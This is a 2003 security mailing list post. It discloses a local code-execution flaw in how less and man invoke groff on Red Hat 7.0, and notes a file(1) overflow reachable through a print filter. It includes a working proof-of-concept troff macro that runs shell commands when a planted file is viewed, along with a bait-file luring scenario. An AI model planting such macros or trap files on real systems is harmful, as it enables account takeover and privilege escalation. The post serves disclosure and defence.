Full Disclosure mailing list archives
re: SSH/OPENSSH EXPLOIT + iDEFENSE Security Advisory 03.04.03: Locally Exploitable Buffer Overflow in file(1)
From: zen-parse <zen-parse () gmx net>
Date: Wed, 5 Mar 2003 16:50:56 +1300 (NZDT)
http://lists.netsys.com/pipermail/full-disclosure/2003-March/004423.html file(1) overflow is exploitable in other ways. In /usr/lib/rhs/rhs-printfilters/master-filter (rhs-printfilters-1.81-4.rh7.0, used by lprng at least) magic=$(file ${SPOOLFILE}) magic=$($DECOMPRESS ${SPOOLFILE} | file -) magic=$($DECOMPRESS ${SPOOLFILE} | file -) This file is used as a filter called by LPRNG with uid:gid lp.lp. Printing the exploit file would result in privilege escalation without needing to social engineer anyone, or wait for a random occurance. Speaking of social engineering: I wonder what sort of file would be in /usr/tmp/ftplists/ on a public access *nix box? $ cd /usr/tmp/ftplists/ $ ls -l ... screens and screens of things like this -rw-r--r-- 1 evil evil 51432 Mar 5 16:18 ftplist.1 ... and more files.2 .3 .4 .5 .6 ... .9 with different names Maybe they have IPs, logins, and passwords for ftp sites! Might be a good idea to check them out so you can... um... oh yeah... inform the admin that their sites might have been compromized and used for trading files illegally... Of course, you'd have to check the contents before you do anything else. $ less ftplist.1 .... and suddenly you get logged out, and can't log in again. when you manage to, all your files are gone, and you're under investigation for all sorts of terrible crimes commited from YOUR account. Why does it look like you've just been owned? Advisory: groff preprocessor path vuln. OR less does more. Tested on groff-1.16-7.1.1 on rh 7.0. You might've missed one line somewhere in the middle of the output like this: -rw-r--r-- 1 evil evil 50 Mar 5 16:16 tmac.safer 1) Less != safe $ echo $LESSOPEN |/usr/bin/lesspipe.sh %s $ grep 'file -' /usr/bin/lesspipe.sh if gunzip -c "$1" |file - |grep troff &>/dev/null; then if bunzip2 -c "$1" |file - |grep troff &>/dev/null; then *.1|*.2|*.3|*.4|*.5|*.6|*.7|*.8|*.9|*.n|*.man) FILE=`file -L "$1"` ; # groff src As you can see, file gets called. Another interesting thing: ... if [ "$FILE" = "troff" ]; then groff -s -p -t -e -Tascii -mandoc "$1" fi ;; ... Seems safe... is it? Nope. $ cat ./tmac.safer .nr _C \n(.C .cp 0 .pi X (id;uname -a;date)>/var/tmp/owned-by-less X .cp \n(_C man is worse: it chdir()s one directory back before running the preprocessor commands... check .. before running man ./file.1 Dangerous files: dev*/DESC {ascii,latin1 for less and man} This file can contain commands to modify the file before viewing/printing. tmac.* - troff macro files. tmac.tty, tmac.safer <- these get executed while some 'dangerous' commands are still enabled (tmac.safer is supposed to remove them). -- ------------------------------------------------------------------------- 1) If this message was posted to a public forum by zen-parse () gmx net, it may be redistributed without modification. 2) In any other case the contents of this message is confidential and not to be distributed in any form without express permission from the author. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- re: SSH/OPENSSH EXPLOIT + iDEFENSE Security Advisory 03.04.03: Locally Exploitable Buffer Overflow in file(1) zen-parse (Mar 04)